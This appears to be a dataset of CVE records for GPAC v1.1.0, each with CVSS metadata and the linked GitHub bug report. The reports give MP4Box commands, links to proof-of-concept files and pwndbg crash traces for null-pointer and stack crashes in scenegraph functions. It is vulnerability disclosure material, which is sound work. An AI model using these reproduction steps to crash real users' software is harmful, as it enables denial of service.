"attackVector": "LOCAL",
"availabilityImpact": "HIGH",
"baseScore": 5.5,
"baseSeverity": "MEDIUM",
"confidentialityImpact": "NONE",
"integrityImpact": "NONE",
"privilegesRequired": "NONE",
"scope": "UNCHANGED",
"userInteraction": "REQUIRED",
"vectorString": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"version": "3.1"
},
"exploitabilityScore": 1.8,
"impactScore": 3.6,
"source": "[email protected]",
"type": "Primary"
}
]
} | [
{
"source": "[email protected]",
"tags": [
"Exploit",
"Third Party Advisory"
],
"url": "https://github.com/gpac/gpac/issues/2023"
}
] | [
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}
] | https://github.com/gpac/gpac/issues/2023 | [
"Exploit",
"Third Party Advisory"
] | github.com | [
"gpac",
"gpac"
] | Thanks for reporting your issue. Please make sure these boxes are checked before submitting your issue - thank you!
- [x] I looked for a similar issue and couldn't find any.
- [x] I tried with the latest version of GPAC. Installers available at http://gpac.io/downloads/gpac-nightly-builds/
- [x] I give enough information for contributors to reproduce my issue (meaningful title, github labels, platform and compiler, command-line ...). I can share files anonymously with this dropbox: https://www.mediafire.com/filedrop/filedrop_hosted.php?drop=eec9e058a9486fe4e99c33021481d9e1826ca9dbc242a6cfaab0fe95da5e5d95
Detailed guidelines: http://gpac.io/2013/07/16/how-to-file-a-bug-properly/
**Version:**
```
./MP4Box -version
MP4Box - GPAC version 1.1.0-DEV-rev1582-g94db9779c-master
(c) 2000-2021 Telecom Paris distributed under LGPL v2.1+ - http://gpac.io
MINI build (encoders, decoders, audio and video output disabled)
Please cite our work in your research:
GPAC Filters: https://doi.org/10.1145/3339825.3394929
GPAC: https://doi.org/10.1145/1291233.1291452
GPAC Configuration: --static-mp4box --enable-debug --
Features: GPAC_CONFIG_LINUX GPAC_64_BITS GPAC_HAS_SOCK_UN GPAC_MINIMAL_ODF GPAC_HAS_QJS GPAC_HAS_FREETYPE GPAC_HAS_JPEG GPAC_HAS_PNG GPAC_DISABLE_3D
```
**command:**
```
./bin/gcc/MP4Box -svg POC1
```
[POC1.zip](https://github.com/gpac/gpac/files/7801966/POC1.zip)
**Result**
```
Segmentation fault
```
**bt**
```
Program received signal SIGSEGV, Segmentation fault.
gf_node_unregister (pNode=0x10f9b70, parentNode=0x10fa140) at scenegraph/base_scenegraph.c:682
682 pSG = pNode->sgprivate->scenegraph;
LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA
──────────────────────────────────────────────────────────────────────────────────────────────────[ REGISTERS ]───────────────────────────────────────────────────────────────────────────────────────────────────
RAX 0x0
RBX 0x7
RCX 0x1
RDX 0x10fa140 —▸ 0x10fa290 ◂— 0x300000095
RDI 0x10f9b70 ◂— 0x0
RSI 0x10fa140 —▸ 0x10fa290 ◂— 0x300000095
R8 0x0
R9 0x0
R10 0xfffffff9
R11 0x246
R12 0xd0a2b0 (__libc_csu_fini) ◂— endbr64
R13 0x0
R14 0x10a6018 (_GLOBAL_OFFSET_TABLE_+24) —▸ 0xd80db0 (__memmove_avx_unaligned_erms) ◂— endbr64
R15 0x0
RBP 0x7fffffff7690 —▸ 0x7fffffff76c0 —▸ 0x7fffffff76f0 —▸ 0x7fffffff7720 —▸ 0x7fffffff7740 ◂— ...
RSP 0x7fffffff7650 —▸ 0x10fa140 —▸ 0x10fa290 ◂— 0x300000095
RIP 0x479467 (gf_node_unregister+66) ◂— mov rax, qword ptr [rax + 8]
────────────────────────────────────────────────────────────────────────────────────────────────────[ DISASM ]────────────────────────────────────────────────────────────────────────────────────────────────────
► 0x479467 <gf_node_unregister+66> mov rax, qword ptr [rax + 8]
0x47946b <gf_node_unregister+70> mov qword ptr [rbp - 0x28], rax
0x47946f <gf_node_unregister+74> cmp qword ptr [rbp - 0x40], 0
0x479474 <gf_node_unregister+79> je gf_node_unregister+284 <gf_node_unregister+284>
↓
0x479541 <gf_node_unregister+284> cmp qword ptr [rbp - 0x28], 0
0x479546 <gf_node_unregister+289> je gf_node_unregister+320 <gf_node_unregister+320>
↓
0x479565 <gf_node_unregister+320> mov rax, qword ptr [rbp - 0x38]
0x479569 <gf_node_unregister+324> mov rax, qword ptr [rax]
0x47956c <gf_node_unregister+327> movzx eax, word ptr [rax + 2]
0x479570 <gf_node_unregister+331> test ax, ax
0x479573 <gf_node_unregister+334> jne gf_node_unregister+367 <gf_node_unregister+367>
────────────────────────────────────────────────────────────────────────────────────────────────[ SOURCE (CODE) ]─────────────────────────────────────────────────────────────────────────────────────────────────
In file: /home/zxq/CVE_testing/source/gpac/src/scenegraph/base_scenegraph.c
677 Bool detach=0;
678 #endif
679 GF_SceneGraph *pSG;
680
681 if (!pNode) return GF_OK;
► 682 pSG = pNode->sgprivate->scenegraph;
683
684 if (parentNode) {
685 GF_ParentList *nlist = pNode->sgprivate->parents;
686 if (nlist) {
687 GF_ParentList *prev = NULL;
────────────────────────────────────────────────────────────────────────────────────────────────────[ STACK ]─────────────────────────────────────────────────────────────────────────────────────────────────────
00:0000│ rsp 0x7fffffff7650 —▸ 0x10fa140 —▸ 0x10fa290 ◂— 0x300000095
01:0008│ 0x7fffffff7658 —▸ 0x10f9b70 ◂— 0x0
02:0010│ 0x7fffffff7660 ◂— 0x0
03:0018│ 0x7fffffff7668 —▸ 0x10a6018 (_GLOBAL_OFFSET_TABLE_+24) —▸ 0xd80db0 (__memmove_avx_unaligned_erms) ◂— endbr64
04:0020│ 0x7fffffff7670 ◂— 0x0
05:0028│ 0x7fffffff7678 —▸ 0x450b75 (gf_free+28) ◂— nop
06:0030│ 0x7fffffff7680 ◂— 0x5
07:0038│ 0x7fffffff7688 ◂— 0x5789c1222d7c1900
──────────────────────────────────────────────────────────────────────────────────────────────────[ BACKTRACE ]───────────────────────────────────────────────────────────────────────────────────────────────────
► f 0 0x479467 gf_node_unregister+66
f 1 0x47ad0f gf_node_unregister_children+45
f 2 0x4ea690 gf_sg_vrml_parent_destroy+70
f 3 0x4c4593 SBBone_Del+318
f 4 0x4dbb98 gf_sg_mpeg4_node_del+2586
f 5 0x47bfe4 gf_node_del+461
f 6 0x4797a6 gf_node_unregister+897
f 7 0x566822 gf_bifs_dec_node+1888
──────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────
pwndbg> bt
#0 gf_node_unregister (pNode=0x10f9b70, parentNode=0x10fa140) at scenegraph/base_scenegraph.c:682
#1 0x000000000047ad0f in gf_node_unregister_children (container=0x10fa140, child=0x10fa320) at scenegraph/base_scenegraph.c:1369
#2 0x00000000004ea690 in gf_sg_vrml_parent_destroy (pNode=0x10fa140) at scenegraph/vrml_tools.c:162
#3 0x00000000004c4593 in SBBone_Del (node=0x10fa140) at scenegraph/mpeg4_nodes.c:27956
#4 0x00000000004dbb98 in gf_sg_mpeg4_node_del (node=0x10fa140) at scenegraph/mpeg4_nodes.c:37958
#5 0x000000000047bfe4 in gf_node_del (node=0x10fa140) at scenegraph/base_scenegraph.c:1902
#6 0x00000000004797a6 in gf_node_unregister (pNode=0x10fa140, parentNode=0x0) at scenegraph/base_scenegraph.c:761
#7 0x0000000000566822 in gf_bifs_dec_node (codec=0x10f70b0, bs=0x10e4c30, NDT_Tag=1) at bifs/field_decode.c:912
#8 0x000000000055c98c in gf_bifs_dec_proto_list (codec=0x10f70b0, bs=0x10e4c30, proto_list=0x0) at bifs/com_dec.c:1132
#9 0x000000000055c94f in gf_bifs_dec_proto_list (codec=0x10f70b0, bs=0x10e4c30, proto_list=0x10f9600) at bifs/com_dec.c:1125
#10 0x000000000055d37f in BD_DecSceneReplace (codec=0x10f70b0, bs=0x10e4c30, proto_list=0x10f9600) at bifs/com_dec.c:1332
#11 0x000000000056c8d2 in BM_SceneReplace (codec=0x10f70b0, bs=0x10e4c30, com_list=0x10f7430) at bifs/memory_decoder.c:860
#12 0x000000000056cb53 in BM_ParseCommand (codec=0x10f70b0, bs=0x10e4c30, com_list=0x10f7430) at bifs/memory_decoder.c:908
#13 0x000000000056cffd in gf_bifs_decode_command_list (codec=0x10f70b0, ESID=8, data=0x10f74b0 '\320' <repeats 191 times>, <incomplete sequence \372>, data_length=8208, com_list=0x10f7430) at bifs/memory_decoder.c:1009
#14 0x00000000006be1da in gf_sm_load_run_isom (load=0x7fffffff88a0) at scene_manager/loader_isom.c:303
#15 0x00000000006a214a in gf_sm_load_run (load=0x7fffffff88a0) at scene_manager/scene_manager.c:719
#16 0x000000000041786e in dump_isom_scene (file=0x7fffffffe60f "gf_node_unregister-gf_node_unregister_children/id:000515,sig:11,src:007933+012329,op:splice,rep:16", inName=0x10da460 <outfile> "gf_node_unregister-gf_node_unregister_children/id:000515,sig:11,src:007933+012329,op:splice,rep:16", is_final_name=GF_FALSE, dump_mode=GF_SM_DUMP_SVG, do_log=GF_FALSE, no_odf_conv=GF_FALSE) at filedump.c:199
#17 0x000000000041521f in mp4boxMain (argc=3, argv=0x7fffffffe328) at main.c:6044
#18 0x000000000041719b in main (argc=3, argv=0x7fffffffe328) at main.c:6496
#19 0x0000000000d09a40 in __libc_start_main ()
#20 0x000000000040211e in _start ()
```
| Null Pointer Dereference in gf_node_unregister () at scenegraph/base_scenegraph.c:682 | https://api.github.com/repos/gpac/gpac/issues/2023/comments | 0 | 2022-01-03T12:52:03Z | 2022-01-04T09:53:09Z | https://github.com/gpac/gpac/issues/2023 | 1,092,485,366 | 2,023 |
CVE-2021-46236 | 2022-01-21T21:15:08.667 | A NULL pointer dereference vulnerability exists in GPAC v1.1.0 via the function gf_sg_vrml_field_pointer_del () at scenegraph/vrml_tools.c. This vulnerability can lead to a Denial of Service (DoS). | {
"cvssMetricV2": [
{
"acInsufInfo": false,
"baseSeverity": "MEDIUM",
"cvssData": {
"accessComplexity": "MEDIUM",
"accessVector": "NETWORK",
"authentication": "NONE",
"availabilityImpact": "PARTIAL",
"baseScore": 4.3,
"confidentialityImpact": "NONE",
"integrityImpact": "NONE",
"vectorString": "AV:N/AC:M/Au:N/C:N/I:N/A:P",
"version": "2.0"
},
"exploitabilityScore": 8.6,
"impactScore": 2.9,
"obtainAllPrivilege": false,
"obtainOtherPrivilege": false,
"obtainUserPrivilege": false,
"source": "[email protected]",
"type": "Primary",
"userInteractionRequired": true
}
],
"cvssMetricV30": null,
"cvssMetricV31": [
{
"cvssData": {
"attackComplexity": "LOW",
"attackVector": "LOCAL",
"availabilityImpact": "HIGH",
"baseScore": 5.5,
"baseSeverity": "MEDIUM",
"confidentialityImpact": "NONE",
"integrityImpact": "NONE",
"privilegesRequired": "NONE",
"scope": "UNCHANGED",
"userInteraction": "REQUIRED",
"vectorString": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"version": "3.1"
},
"exploitabilityScore": 1.8,
"impactScore": 3.6,
"source": "[email protected]",
"type": "Primary"
}
]
} | [
{
"source": "[email protected]",
"tags": [
"Exploit",
"Third Party Advisory"
],
"url": "https://github.com/gpac/gpac/issues/2024"
}
] | [
{
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] | https://github.com/gpac/gpac/issues/2024 | [
"Exploit",
"Third Party Advisory"
] | github.com | [
"gpac",
"gpac"
] | Thanks for reporting your issue. Please make sure these boxes are checked before submitting your issue - thank you!
- [x] I looked for a similar issue and couldn't find any.
- [x] I tried with the latest version of GPAC. Installers available at http://gpac.io/downloads/gpac-nightly-builds/
- [x] I give enough information for contributors to reproduce my issue (meaningful title, github labels, platform and compiler, command-line ...). I can share files anonymously with this dropbox: https://www.mediafire.com/filedrop/filedrop_hosted.php?drop=eec9e058a9486fe4e99c33021481d9e1826ca9dbc242a6cfaab0fe95da5e5d95
Detailed guidelines: http://gpac.io/2013/07/16/how-to-file-a-bug-properly/
**Version:**
```
./MP4Box -version
MP4Box - GPAC version 1.1.0-DEV-rev1582-g94db9779c-master
(c) 2000-2021 Telecom Paris distributed under LGPL v2.1+ - http://gpac.io
MINI build (encoders, decoders, audio and video output disabled)
Please cite our work in your research:
GPAC Filters: https://doi.org/10.1145/3339825.3394929
GPAC: https://doi.org/10.1145/1291233.1291452
GPAC Configuration: --static-mp4box --enable-debug --
Features: GPAC_CONFIG_LINUX GPAC_64_BITS GPAC_HAS_SOCK_UN GPAC_MINIMAL_ODF GPAC_HAS_QJS GPAC_HAS_FREETYPE GPAC_HAS_JPEG GPAC_HAS_PNG GPAC_DISABLE_3D
```
**command:**
```
./bin/gcc/MP4Box -svg POC2
```
[POC2.zip](https://github.com/gpac/gpac/files/7801986/POC2.zip)
**Result**
```
Segmentation fault
```
**bt**
```
Program received signal SIGSEGV, Segmentation fault.
0x00000000004eb82b in gf_sg_vrml_field_pointer_del (field=0x0, FieldType=50) at scenegraph/vrml_tools.c:667
667 gf_sg_mfdouble_del( * ((MFDouble *) field));
LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA
──────────────────────────────────────────────────────────────────────────────────────────────────[ REGISTERS ]───────────────────────────────────────────────────────────────────────────────────────────────────
RAX 0x0
RBX 0x400788 ◂— 0x0
RCX 0x0
RDX 0xe03e5c ◂— 0xff6e7b77ff6e7b77
RDI 0x0
RSI 0x32
R8 0x7
R9 0x0
R10 0xffffffd8
R11 0x246
R12 0xd0a2b0 (__libc_csu_fini) ◂— endbr64
R13 0x0
R14 0x10a6018 (_GLOBAL_OFFSET_TABLE_+24) —▸ 0xd80db0 (__memmove_avx_unaligned_erms) ◂— endbr64
R15 0x0
RBP 0x7fffffff8610 —▸ 0x7fffffff8660 —▸ 0x7fffffff86b0 —▸ 0x7fffffff8700 —▸ 0x7fffffff8740 ◂— ...
RSP 0x7fffffff85f0 ◂— 0x3200000000
RIP 0x4eb82b (gf_sg_vrml_field_pointer_del+254) ◂— mov edx, dword ptr [rax]
────────────────────────────────────────────────────────────────────────────────────────────────────[ DISASM ]────────────────────────────────────────────────────────────────────────────────────────────────────
► 0x4eb82b <gf_sg_vrml_field_pointer_del+254> mov edx, dword ptr [rax]
0x4eb82d <gf_sg_vrml_field_pointer_del+256> mov rax, qword ptr [rax + 8]
0x4eb831 <gf_sg_vrml_field_pointer_del+260> mov edi, edx
0x4eb833 <gf_sg_vrml_field_pointer_del+262> mov rsi, rax
0x4eb836 <gf_sg_vrml_field_pointer_del+265> call gf_sg_mfdouble_del <gf_sg_mfdouble_del>
0x4eb83b <gf_sg_vrml_field_pointer_del+270> jmp gf_sg_vrml_field_pointer_del+682 <gf_sg_vrml_field_pointer_del+682>
0x4eb840 <gf_sg_vrml_field_pointer_del+275> mov rax, qword ptr [rbp - 0x18]
0x4eb844 <gf_sg_vrml_field_pointer_del+279> mov edx, dword ptr [rax]
0x4eb846 <gf_sg_vrml_field_pointer_del+281> mov rax, qword ptr [rax + 8]
0x4eb84a <gf_sg_vrml_field_pointer_del+285> mov edi, edx
0x4eb84c <gf_sg_vrml_field_pointer_del+287> mov rsi, rax
────────────────────────────────────────────────────────────────────────────────────────────────[ SOURCE (CODE) ]─────────────────────────────────────────────────────────────────────────────────────────────────
In file: /home/zxq/CVE_testing/source/gpac/src/scenegraph/vrml_tools.c
662 break;
663 case GF_SG_VRML_MFFLOAT:
664 gf_sg_mffloat_del( * ((MFFloat *) field));
665 break;
666 case GF_SG_VRML_MFDOUBLE:
► 667 gf_sg_mfdouble_del( * ((MFDouble *) field));
668 break;
669 case GF_SG_VRML_MFTIME:
670 gf_sg_mftime_del( * ((MFTime *)field));
671 break;
672 case GF_SG_VRML_MFINT32:
────────────────────────────────────────────────────────────────────────────────────────────────────[ STACK ]─────────────────────────────────────────────────────────────────────────────────────────────────────
00:0000│ rsp 0x7fffffff85f0 ◂— 0x3200000000
01:0008│ 0x7fffffff85f8 ◂— 0x0
02:0010│ 0x7fffffff8600 —▸ 0x10ecd40 ◂— 0x0
03:0018│ 0x7fffffff8608 —▸ 0x10fa7d0 —▸ 0x10fae00 ◂— 0x0
04:0020│ rbp 0x7fffffff8610 —▸ 0x7fffffff8660 —▸ 0x7fffffff86b0 —▸ 0x7fffffff8700 —▸ 0x7fffffff8740 ◂— ...
05:0028│ 0x7fffffff8618 —▸ 0x4e6a10 (gf_sg_proto_del_instance+120) ◂— jmp 0x4e6a8f
06:0030│ 0x7fffffff8620 ◂— 0x0
07:0038│ 0x7fffffff8628 —▸ 0x10fa720 —▸ 0x10fa770 ◂— 0x100000001
──────────────────────────────────────────────────────────────────────────────────────────────────[ BACKTRACE ]───────────────────────────────────────────────────────────────────────────────────────────────────
► f 0 0x4eb82b gf_sg_vrml_field_pointer_del+254
f 1 0x4e6a10 gf_sg_proto_del_instance+120
f 2 0x47bfc6 gf_node_del+431
f 3 0x4797a6 gf_node_unregister+897
f 4 0x4e4916 gf_sg_proto_del+193
f 5 0x47db5d gf_sg_command_del+675
f 6 0x6a0b93 gf_sm_au_del+122
f 7 0x6a0c24 gf_sm_reset_stream+73
──────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────
pwndbg> bt
#0 0x00000000004eb82b in gf_sg_vrml_field_pointer_del (field=0x0, FieldType=50) at scenegraph/vrml_tools.c:667
#1 0x00000000004e6a10 in gf_sg_proto_del_instance (inst=0x10fa720) at scenegraph/vrml_proto.c:846
#2 0x000000000047bfc6 in gf_node_del (node=0x10fa720) at scenegraph/base_scenegraph.c:1899
#3 0x00000000004797a6 in gf_node_unregister (pNode=0x10fa720, parentNode=0x0) at scenegraph/base_scenegraph.c:761
#4 0x00000000004e4916 in gf_sg_proto_del (proto=0x10f9d60) at scenegraph/vrml_proto.c:117
#5 0x000000000047db5d in gf_sg_command_del (com=0x10f9c80) at scenegraph/commands.c:113
#6 0x00000000006a0b93 in gf_sm_au_del (sc=0x10f7ac0, au=0x10f9bd0) at scene_manager/scene_manager.c:113
#7 0x00000000006a0c24 in gf_sm_reset_stream (sc=0x10f7ac0) at scene_manager/scene_manager.c:126
#8 0x00000000006a0c58 in gf_sm_delete_stream (sc=0x10f7ac0) at scene_manager/scene_manager.c:133
#9 0x00000000006a0d03 in gf_sm_del (ctx=0x10ed170) at scene_manager/scene_manager.c:147
#10 0x000000000041797b in dump_isom_scene (file=0x7fffffffe637 "gf_sg_vrml_field_pointer_del-gf_sg_proto_del_instance/POC2", inName=0x10da460 <outfile> "gf_sg_vrml_field_pointer_del-gf_sg_proto_del_instance/POC2", is_final_name=GF_FALSE, dump_mode=GF_SM_DUMP_SVG, do_log=GF_FALSE, no_odf_conv=GF_FALSE) at filedump.c:216
#11 0x000000000041521f in mp4boxMain (argc=3, argv=0x7fffffffe358) at main.c:6044
#12 0x000000000041719b in main (argc=3, argv=0x7fffffffe358) at main.c:6496
#13 0x0000000000d09a40 in __libc_start_main ()
#14 0x000000000040211e in _start ()
pwndbg>
```
| Null Pointer Dereference in gf_sg_vrml_field_pointer_del () at scenegraph/vrml_tools.c:667 | https://api.github.com/repos/gpac/gpac/issues/2024/comments | 0 | 2022-01-03T12:56:20Z | 2022-01-04T10:19:41Z | https://github.com/gpac/gpac/issues/2024 | 1,092,488,021 | 2,024 |
CVE-2021-46237 | 2022-01-21T21:15:08.713 | An untrusted pointer dereference vulnerability exists in GPAC v1.1.0 via the function gf_node_unregister () at scenegraph/base_scenegraph.c. This vulnerability can lead to a Denial of Service (DoS). | {
"cvssMetricV2": [
{
"acInsufInfo": false,
"baseSeverity": "MEDIUM",
"cvssData": {
"accessComplexity": "MEDIUM",
"accessVector": "NETWORK",
"authentication": "NONE",
"availabilityImpact": "PARTIAL",
"baseScore": 4.3,
"confidentialityImpact": "NONE",
"integrityImpact": "NONE",
"vectorString": "AV:N/AC:M/Au:N/C:N/I:N/A:P",
"version": "2.0"
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"confidentialityImpact": "NONE",
"integrityImpact": "NONE",
"privilegesRequired": "NONE",
"scope": "UNCHANGED",
"userInteraction": "REQUIRED",
"vectorString": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"version": "3.1"
},
"exploitabilityScore": 1.8,
"impactScore": 3.6,
"source": "[email protected]",
"type": "Primary"
}
]
} | [
{
"source": "[email protected]",
"tags": [
"Exploit",
"Issue Tracking",
"Patch",
"Third Party Advisory"
],
"url": "https://github.com/gpac/gpac/issues/2033"
}
] | [
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] | https://github.com/gpac/gpac/issues/2033 | [
"Exploit",
"Issue Tracking",
"Patch",
"Third Party Advisory"
] | github.com | [
"gpac",
"gpac"
] | Thanks for reporting your issue. Please make sure these boxes are checked before submitting your issue - thank you!
- [x] I looked for a similar issue and couldn't find any.
- [x] I tried with the latest version of GPAC. Installers available at http://gpac.io/downloads/gpac-nightly-builds/
- [x] I give enough information for contributors to reproduce my issue (meaningful title, github labels, platform and compiler, command-line ...). I can share files anonymously with this dropbox: https://www.mediafire.com/filedrop/filedrop_hosted.php?drop=eec9e058a9486fe4e99c33021481d9e1826ca9dbc242a6cfaab0fe95da5e5d95
Detailed guidelines: http://gpac.io/2013/07/16/how-to-file-a-bug-properly/
**Version:**
```
./MP4Box -version
MP4Box - GPAC version 1.1.0-DEV-rev1593-g786b21cdb-master
(c) 2000-2021 Telecom Paris distributed under LGPL v2.1+ - http://gpac.io
MINI build (encoders, decoders, audio and video output disabled)
Please cite our work in your research:
GPAC Filters: https://doi.org/10.1145/3339825.3394929
GPAC: https://doi.org/10.1145/1291233.1291452
GPAC Configuration: --static-mp4box --enable-debug --prefix=/home/zxq/CVE_testing/source/gpac/cmakebuild
Features: GPAC_CONFIG_LINUX GPAC_64_BITS GPAC_HAS_SOCK_UN GPAC_MINIMAL_ODF GPAC_HAS_QJS GPAC_HAS_FREETYPE GPAC_HAS_JPEG GPAC_HAS_PNG GPAC_DISABLE_3D
```
**command:**
```
./bin/gcc/MP4Box -svg POC2
```
[POC2.zip](https://github.com/gpac/gpac/files/7813634/POC2.zip)
[POC2.zip](https://github.com/gpac/gpac/files/7813631/POC2.zip)
**Result**
```
Segmentation fault.
```
**bt**
```
Program received signal SIGSEGV, Segmentation fault.
0x0000000000479ab6 in gf_node_unregister (pNode=0x10fc910, parentNode=0x0) at scenegraph/base_scenegraph.c:710
710 if (pSG && (pNode == (GF_Node*)pSG->pOwningProto)) pSG = pSG->parent_scene;
LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA
──────────────────────────────────────────────────────────────────────────────────────────────────[ REGISTERS ]───────────────────────────────────────────────────────────────────────────────────────────────────
RAX 0x21
RBX 0x10ee520 ◂— 0x0
RCX 0x10fc910 —▸ 0x10fc9c0 ◂— 0x0
RDX 0x0
RDI 0x10fc910 —▸ 0x10fc9c0 ◂— 0x0
RSI 0x0
R8 0x4
R9 0x0
R10 0x10cdfa0 (main_arena+96) —▸ 0x10fcab0 ◂— 0x0
R11 0x10cdfa0 (main_arena+96) —▸ 0x10fcab0 ◂— 0x0
R12 0xd0bad0 (__libc_csu_fini) ◂— endbr64
R13 0x0
R14 0x10a8018 (_GLOBAL_OFFSET_TABLE_+24) —▸ 0xd825d0 (__memmove_avx_unaligned_erms) ◂— endbr64
R15 0x0
RBP 0x7fffffff7ff0 —▸ 0x7fffffff8030 —▸ 0x7fffffff80d0 —▸ 0x7fffffff80f0 —▸ 0x7fffffff8130 ◂— ...
RSP 0x7fffffff7fb0 ◂— 0x0
RIP 0x479ab6 (gf_node_unregister+295) ◂— mov rax, qword ptr [rax + 0xf0]
────────────────────────────────────────────────────────────────────────────────────────────────────[ DISASM ]────────────────────────────────────────────────────────────────────────────────────────────────────
► 0x479ab6 <gf_node_unregister+295> mov rax, qword ptr [rax + 0xf0]
0x479abd <gf_node_unregister+302> cmp qword ptr [rbp - 0x38], rax
0x479ac1 <gf_node_unregister+306> jne gf_node_unregister+320 <gf_node_unregister+320>
↓
0x479acf <gf_node_unregister+320> mov rax, qword ptr [rbp - 0x38]
0x479ad3 <gf_node_unregister+324> mov rax, qword ptr [rax]
0x479ad6 <gf_node_unregister+327> movzx eax, word ptr [rax + 2]
0x479ada <gf_node_unregister+331> test ax, ax
0x479add <gf_node_unregister+334> jne gf_node_unregister+367 <gf_node_unregister+367>
↓
0x479afe <gf_node_unregister+367> mov rax, qword ptr [rbp - 0x38]
0x479b02 <gf_node_unregister+371> mov rax, qword ptr [rax]
0x479b05 <gf_node_unregister+374> movzx edx, word ptr [rax + 2]
```
| Untrusted pointer dereference in gf_node_unregister () at scenegraph/base_scenegraph.c:710 | https://api.github.com/repos/gpac/gpac/issues/2033/comments | 0 | 2022-01-05T09:17:46Z | 2022-01-05T10:26:12Z | https://github.com/gpac/gpac/issues/2033 | 1,094,139,713 | 2,033 |
CVE-2021-46238 | 2022-01-21T21:15:08.753 | GPAC v1.1.0 was discovered to contain a stack overflow via the function gf_node_get_name () at scenegraph/base_scenegraph.c. This vulnerability can lead to a program crash, causing a Denial of Service (DoS). | {
"cvssMetricV2": [
{
"acInsufInfo": false,
"baseSeverity": "MEDIUM",
"cvssData": {
"accessComplexity": "MEDIUM",
"accessVector": "NETWORK",
"authentication": "NONE",
"availabilityImpact": "PARTIAL",
"baseScore": 4.3,
"confidentialityImpact": "NONE",
"integrityImpact": "NONE",
"vectorString": "AV:N/AC:M/Au:N/C:N/I:N/A:P",
"version": "2.0"
},
"exploitabilityScore": 8.6,
"impactScore": 2.9,
"obtainAllPrivilege": false,
"obtainOtherPrivilege": false,
"obtainUserPrivilege": false,
"source": "[email protected]",
"type": "Primary",
"userInteractionRequired": true
}
],
"cvssMetricV30": null,
"cvssMetricV31": [
{
"cvssData": {
"attackComplexity": "LOW",
"attackVector": "LOCAL",
"availabilityImpact": "HIGH",
"baseScore": 5.5,
"baseSeverity": "MEDIUM",
"confidentialityImpact": "NONE",
"integrityImpact": "NONE",
"privilegesRequired": "NONE",
"scope": "UNCHANGED",
"userInteraction": "REQUIRED",
"vectorString": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"version": "3.1"
},
"exploitabilityScore": 1.8,
"impactScore": 3.6,
"source": "[email protected]",
"type": "Primary"
}
]
} | [
{
"source": "[email protected]",
"tags": [
"Exploit",
"Issue Tracking",
"Patch",
"Third Party Advisory"
],
"url": "https://github.com/gpac/gpac/issues/2027"
}
] | [
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] | https://github.com/gpac/gpac/issues/2027 | [
"Exploit",
"Issue Tracking",
"Patch",
"Third Party Advisory"
] | github.com | [
"gpac",
"gpac"
] | Thanks for reporting your issue. Please make sure these boxes are checked before submitting your issue - thank you!
- [x] I looked for a similar issue and couldn't find any.
- [x] I tried with the latest version of GPAC. Installers available at http://gpac.io/downloads/gpac-nightly-builds/
- [x] I give enough information for contributors to reproduce my issue (meaningful title, github labels, platform and compiler, command-line ...). I can share files anonymously with this dropbox: https://www.mediafire.com/filedrop/filedrop_hosted.php?drop=eec9e058a9486fe4e99c33021481d9e1826ca9dbc242a6cfaab0fe95da5e5d95
Detailed guidelines: http://gpac.io/2013/07/16/how-to-file-a-bug-properly/
**Version:**
```
./MP4Box -version
MP4Box - GPAC version 1.1.0-DEV-rev1582-g94db9779c-master
(c) 2000-2021 Telecom Paris distributed under LGPL v2.1+ - http://gpac.io
MINI build (encoders, decoders, audio and video output disabled)
Please cite our work in your research:
GPAC Filters: https://doi.org/10.1145/3339825.3394929
GPAC: https://doi.org/10.1145/1291233.1291452
GPAC Configuration: --static-mp4box --enable-debug --
Features: GPAC_CONFIG_LINUX GPAC_64_BITS GPAC_HAS_SOCK_UN GPAC_MINIMAL_ODF GPAC_HAS_QJS GPAC_HAS_FREETYPE GPAC_HAS_JPEG GPAC_HAS_PNG GPAC_DISABLE_3D
```
**command:**
```
./bin/gcc/MP4Box -disox -ttxt -2 -dump-chap-ogg -dump-cover -drtp -bt -out /dev/null POC2
```
[POC2.zip](https://github.com/gpac/gpac/files/7802132/POC2.zip)
**Result**
```
Segmentation fault.
```
**bt**
```
Program received signal SIGSEGV, Segmentation fault.
0x000000000047aa77 in gf_node_get_name (p=0x4747474747474747) at scenegraph/base_scenegraph.c:1293
1293 if (!p || !(p->sgprivate->flags & GF_NODE_IS_DEF)) return NULL;
LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA
──────────────────────────────────────────────────────────────────────────────────────────────────[ REGISTERS ]───────────────────────────────────────────────────────────────────────────────────────────────────
RAX 0x4747474747474747 ('GGGGGGGG')
RBX 0x400788 ◂— 0x0
RCX 0x474747 (gf_xml_parse_bit_sequence_bs+486) ◂— sti
RDX 0x7
RDI 0x4747474747474747 ('GGGGGGGG')
RSI 0x10fd740 ◂— 0x47474747474747 /* 'GGGGGGG' */
R8 0x10fc550 —▸ 0x10fce00 —▸ 0x10eccb0 ◂— 0x0
R9 0x2
R10 0x0
R11 0x0
R12 0xd0a2b0 (__libc_csu_fini) ◂— endbr64
R13 0x0
R14 0x10a6018 (_GLOBAL_OFFSET_TABLE_+24) —▸ 0xd80db0 (__memmove_avx_unaligned_erms) ◂— endbr64
R15 0x0
RBP 0x7fffffff8100 —▸ 0x7fffffff85d0 ◂— 0x4747474747474747 ('GGGGGGGG')
RSP 0x7fffffff8100 —▸ 0x7fffffff85d0 ◂— 0x4747474747474747 ('GGGGGGGG')
RIP 0x47aa77 (gf_node_get_name+23) ◂— mov rax, qword ptr [rax]
────────────────────────────────────────────────────────────────────────────────────────────────────[ DISASM ]────────────────────────────────────────────────────────────────────────────────────────────────────
► 0x47aa77 <gf_node_get_name+23> mov rax, qword ptr [rax]
0x47aa7a <gf_node_get_name+26> mov eax, dword ptr [rax + 4]
0x47aa7d <gf_node_get_name+29> test eax, eax
0x47aa7f <gf_node_get_name+31> js gf_node_get_name+40 <gf_node_get_name+40>
↓
0x47aa88 <gf_node_get_name+40> mov rax, qword ptr [rbp - 0x18]
0x47aa8c <gf_node_get_name+44> mov rax, qword ptr [rax]
0x47aa8f <gf_node_get_name+47> mov rax, qword ptr [rax + 8]
